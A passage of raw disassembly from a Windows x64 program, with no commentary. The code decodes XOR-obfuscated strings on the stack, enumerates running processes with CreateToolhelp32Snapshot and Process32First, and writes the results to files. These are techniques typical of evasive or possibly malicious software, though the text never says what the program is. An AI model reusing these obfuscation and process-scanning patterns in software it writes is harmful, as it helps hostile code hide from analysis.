jne 0x14001c5b6
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x730]
call fcn.1400046e0
nop
movabs rax, 0xb18545fe04b30738
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r13
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x750], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x760], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001c630
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x750]
call fcn.1400046e0
nop
movabs rax, 0xfa824cfb30a60a15
mov qword [rbp + 0x260], rax
movabs rax, 0xbea3de99b12592fa
mov qword [rbp + 0x268], rax
movabs rax, 0x9b4f87d0374511b3
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], rbx
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r14
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x280], xmm0
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x290], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x770], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x780], xmm1
lea rax, [rbp + 0x280]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001c6f0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x770]
call fcn.1400046e0
nop
movabs rax, 0xf3974ed326863b33
mov qword [rbp + 0x260], rax
movabs rax, 0x8da4c3bcb125bbf1
mov qword [rbp + 0x268], rax
movabs rax, 0x9b4f87b52a585aaa
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], rbx
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r14
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x280], xmm0
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x290], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x790], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7a0], xmm1
lea rax, [rbp + 0x280]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001c7b0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x790]
call fcn.1400046e0
nop
movabs rax, 0xd78553f715bd1d2b
mov qword [rbp + 0x260], rax
movabs rax, 0xa3a5999da62ba2e9
mov qword [rbp + 0x268], rax
movabs rax, 0x9b4f87d0523d74f8
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], rbx
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r14
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x280], xmm0
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x290], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x7b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7c0], xmm1
lea rax, [rbp + 0x280]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14001c870
mov r8, rdi
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x7b0]
call fcn.1400046e0
nop
mov r14, r15
lea rsi, [rbp + 0x310]
nop word [rax + rax]
mov rbx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x14001c8ad
mov rbx, qword [rsi]
lea rdi, [rbp + 0x120]
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14001d9a4
mov dword [rbp + 0x120], 0x130
lea rdx, [rbp + 0x120]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x14001d939
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001d9a4
movabs rax, 0xccd645e419bf0a29
mov qword [rbp + 0x280], rax
movabs rax, 0xfbecf3a0b332a0e0
mov qword [rbp + 0x288], rax
movabs rax, 0xf76fe2a23d5b11ff
mov qword [rbp + 0x290], rax
movabs rax, 0xfc21a16d63594e33
mov qword [rbp + 0x298], rax
movabs rax, 0xda9687426f8098af
mov qword [rbp + 0x2a0], rax
movabs rax, 0x82465423a7f9a1dc
mov qword [rbp + 0x2a8], rax
movabs rax, 0xafbde13430a5acf5
mov qword [rbp + 0x2b0], rax
movabs rax, 0xbc4db6c72b70e9f4
mov qword [rbp + 0x2b8], rax
movups xmm0, xmmword [rbp + 0x280]
movups xmm1, xmmword [rbp + 0x290]
movups xmm2, xmmword [rbp + 0x2a0]
movups xmm3, xmmword [rbp + 0x2b0]
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], r14
movabs rsi, 0x9b4f87d0523d749d
mov qword [rbp + 0x290], rsi
movabs rbx, 0x9b4fc80500373b52
mov qword [rbp + 0x298], rbx
movabs rcx, 0xf4e4e2260eeff48f
mov qword [rbp + 0x2a0], rcx
movabs rcx, 0xf1232603c397e0fc
mov qword [rbp + 0x2a8], rcx
movabs rcx, 0xdad2981444d7cd81
mov qword [rbp + 0x2b0], rcx
movabs rcx, 0xbc4db6e96820c986
mov qword [rbp + 0x2b8], rcx
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm1, xmmword [rbp + 0x290]
movdqa xmmword [rsp + 0x70], xmm1
xorps xmm2, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp - 0x80], xmm2
xorps xmm3, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp - 0x70], xmm3
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140019810
mov rdi, rax
mov qword [rsp + 0x50], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0xeb8e54bc05b50017
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r14
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x280], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x120]
call fcn.140019600
nop
cmp qword [rbp + 0x1a8], 0
je 0x14001cb6f
movabs rax, 0xbf844fe004b74f20
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b7efe36de1d5
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x120]
call fcn.14000a460
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14001cb52
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.14000a910
lea rdx, [0x14000ab60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140005450
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, rdi
call fcn.1400054c0
nop
lea rcx, [rbp + 0x260]
call fcn.1400054c0
mov al, 1
mov rcx, qword [rbp + 0x4fd0]
xor rcx, rsp
call fcn.14008b1b0
lea r11, [rsp + 0x50e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movabs rax, 0xcbd645e613be0a3f
mov qword [rbp + 0x280], rax
movabs rax, 0xbea4dea7ad21b5e1
mov qword [rbp + 0x288], rax
movabs rax, 0xfe3de8b6375f54b1
mov qword [rbp + 0x290], rax
movabs rax, 0xf227ab6b75565772
mov qword [rbp + 0x298], rax
movabs rax, 0x9180834962cf93e1
mov qword [rbp + 0x2a0], rax
movabs rax, 0x8303426d82b7ce8e
mov qword [rbp + 0x2a8], rax
movabs rax, 0xa3f2ec6625a3bee4
mov qword [rbp + 0x2b0], rax
movabs rax, 0xbc63f5b94852bce9
mov qword [rbp + 0x2b8], rax
movups xmm0, xmmword [rbp + 0x280]
movups xmm1, xmmword [rbp + 0x290]
movups xmm2, xmmword [rbp + 0x2a0]
movups xmm3, xmmword [rbp + 0x2b0]
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], r14
movabs rsi, 0x9b4f87d0523d749d
mov qword [rbp + 0x290], rsi
movabs rbx, 0x9b4fc80500373b52
mov qword [rbp + 0x298], rbx
movabs rcx, 0xf4e4e2260eeff48f
mov qword [rbp + 0x2a0], rcx
movabs rcx, 0xf1232603c397e0fc
mov qword [rbp + 0x2a8], rcx
movabs rcx, 0xdad2981444d7cd81
mov qword [rbp + 0x2b0], rcx
movabs rcx, 0xbc4db6e96820c986
mov qword [rbp + 0x2b8], rcx
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm1, xmmword [rbp + 0x290]
movdqa xmmword [rsp + 0x70], xmm1
xorps xmm2, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp - 0x80], xmm2
xorps xmm3, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp - 0x70], xmm3
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140019810
mov rdi, rax
mov qword [rsp + 0x50], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0xeb8e54bc05b50017
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r14
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x280], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x120]
call fcn.140019600
nop
cmp qword [rbp + 0x1a8], 0
je 0x14001ce79
movabs rax, 0xbf844fe004b74f20
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b7efe36de1d5
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x120]
call fcn.14000a460
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14001ce5c
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.14000a910
lea rdx, [0x14000ab60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140005450
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
jmp 0x14001cbc8
movabs rax, 0xc8d645e613be0a3f
mov qword [rbp + 0x280], rax
movabs rax, 0xb0b2d687b025b3e1
mov qword [rbp + 0x288], rax
movabs rax, 0xfe3de8b6375f54b1
mov qword [rbp + 0x290], rax
movabs rax, 0xf227ab6b75565772
mov qword [rbp + 0x298], rax
movabs rax, 0x9180834962cf93e1
mov qword [rbp + 0x2a0], rax
movabs rax, 0x8303426d82b7ce8e
mov qword [rbp + 0x2a8], rax
movabs rax, 0xa3f2ec6625a3bee4
mov qword [rbp + 0x2b0], rax
movabs rax, 0xbc63f5b94852bce9
mov qword [rbp + 0x2b8], rax
movups xmm0, xmmword [rbp + 0x280]
movups xmm1, xmmword [rbp + 0x290]
movups xmm2, xmmword [rbp + 0x2a0]
movups xmm3, xmmword [rbp + 0x2b0]
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], r14
movabs rsi, 0x9b4f87d0523d749d
mov qword [rbp + 0x290], rsi
movabs rbx, 0x9b4fc80500373b52
mov qword [rbp + 0x298], rbx
movabs rcx, 0xf4e4e2260eeff48f
mov qword [rbp + 0x2a0], rcx
movabs rcx, 0xf1232603c397e0fc
mov qword [rbp + 0x2a8], rcx
movabs rcx, 0xdad2981444d7cd81
mov qword [rbp + 0x2b0], rcx
movabs rcx, 0xbc4db6e96820c986
mov qword [rbp + 0x2b8], rcx
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm1, xmmword [rbp + 0x290]
movdqa xmmword [rsp + 0x70], xmm1
xorps xmm2, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp - 0x80], xmm2
xorps xmm3, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp - 0x70], xmm3
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140019810
mov rdi, rax
mov qword [rsp + 0x50], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0xeb8e54bc05b50017
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r14
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x280], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x120]
call fcn.140019600
nop
cmp qword [rbp + 0x1a8], 0
je 0x14001d141
movabs rax, 0xbf844fe004b74f20
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b7efe36de1d5
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x120]
call fcn.14000a460
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14001d124
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.14000a910
lea rdx, [0x14000ab60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140005450
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14001d1d0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x14001d1cb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14001d229
mov rcx, r8
call fcn.14008b20c
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rdx, qword [rbp + 0x278]
cmp rdx, 0xf
jbe 0x14001cbdd
inc rdx
mov rcx, qword [rbp + 0x260]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14001d21f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001d932
call fcn.14008b20c
jmp 0x14001cbdd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movabs rax, 0xd7d645e613be0a3f
mov qword [rsp + 0x60], rax
movabs rax, 0xaea2d2abe31095dc
mov qword [rsp + 0x68], rax
movabs rax, 0xfe2da7fc205813fa
mov qword [rsp + 0x70], rax
movabs rax, 0xee2ea42565455434
mov qword [rsp + 0x78], rax
movabs rax, 0x98c48548678797e1
mov qword [rbp - 0x80], rax
movabs rax, 0xb0030871a6f38193
mov qword [rbp - 0x78], rax
movabs rax, 0xbba6eb7136f7a9ef
mov qword [rbp - 0x70], rax
movabs rax, 0x9c3fc3861100bdf4
mov qword [rbp - 0x68], rax
movabs rax, 0xcfd813aab81e8af3
mov qword [rbp - 0x60], rax
movabs rax, 0x393a6587a3642310
mov qword [rbp - 0x58], rax
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], r14
movabs rsi, 0x9b4f87d0523d749d
mov qword [rbp + 0x290], rsi
movabs rbx, 0x9b4fc80500373b52
mov qword [rbp + 0x298], rbx
movabs rcx, 0xf4e4e2260eeff48f
mov qword [rbp + 0x2a0], rcx
movabs rcx, 0xf1232603c397e0fc
mov qword [rbp + 0x2a8], rcx
movabs rcx, 0xdad2981444d7cd81
mov qword [rbp + 0x2b0], rcx
movabs rcx, 0xbc4db6e96820c986
mov qword [rbp + 0x2b8], rcx
movabs rcx, 0xcfd813aab830c9a3
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], rax
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x290]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rbp - 0x70]
xorps xmm1, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp - 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea rax, [rsp + 0x60]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14001d3c0
mov r8, rdi
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400046e0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0xeb8e54bc05b50017
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r14
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x280], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x120]
call fcn.140019600
nop
cmp qword [rbp + 0x1a8], 0
je 0x14001d4f3
movabs rax, 0xbf844fe004b74f20
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b7efe36de1d5
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x120]
call fcn.14000a460
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.14000a910
lea rdx, [0x14000ab60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140005450
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14001d1df
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d58b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d58b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008b20c
jmp 0x14001d1df
movabs rax, 0xcfd645e613be0a3f
mov qword [rsp + 0x60], rax
movabs rax, 0x93e0c49ca623aefa
mov qword [rsp + 0x68], rax
movabs rax, 0xf96faba2375617fc
mov qword [rsp + 0x70], rax
movabs rax, 0xfa23e86072585d37
mov qword [rsp + 0x78], rax
movabs rax, 0xd4838c4f668c9afa
mov qword [rbp - 0x80], rax
movabs rax, 0xd10d5466a7f68f90
mov qword [rbp - 0x78], rax
movabs rax, 0xaea1fd6664b3a3c0
mov qword [rbp - 0x70], rax
movabs rax, 0xce38d9904854bbe7
mov qword [rbp - 0x68], rax
movabs rax, 0xcfd813aa96739983
mov qword [rbp - 0x60], rax
movabs rax, 0x393a6587a3642310
mov qword [rbp - 0x58], rax
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], r14
movabs rsi, 0x9b4f87d0523d749d
mov qword [rbp + 0x290], rsi
movabs rbx, 0x9b4fc80500373b52
mov qword [rbp + 0x298], rbx
movabs rcx, 0xf4e4e2260eeff48f
mov qword [rbp + 0x2a0], rcx
movabs rcx, 0xf1232603c397e0fc
mov qword [rbp + 0x2a8], rcx
movabs rcx, 0xdad2981444d7cd81
mov qword [rbp + 0x2b0], rcx
movabs rcx, 0xbc4db6e96820c986
mov qword [rbp + 0x2b8], rcx
movabs rcx, 0xcfd813aab830c9a3
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], rax
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x290]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rbp - 0x70]
xorps xmm1, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp - 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea rax, [rsp + 0x60]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14001d721
mov r8, rdi
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400046e0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0xeb8e54bc05b50017
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r14
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x280], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x120]
call fcn.140019600
nop
cmp qword [rbp + 0x1a8], 0
je 0x14001d854
movabs rax, 0xbf844fe004b74f20
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b7efe36de1d5
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x120]
call fcn.14000a460
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.14000a910
lea rdx, [0x14000ab60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.140005450
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14001d8ee
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d8e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d8e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008b20c
nop
mov rdx, qword [rbp + 0x278]
cmp rdx, 0xf
jbe 0x14001cbdd
inc rdx
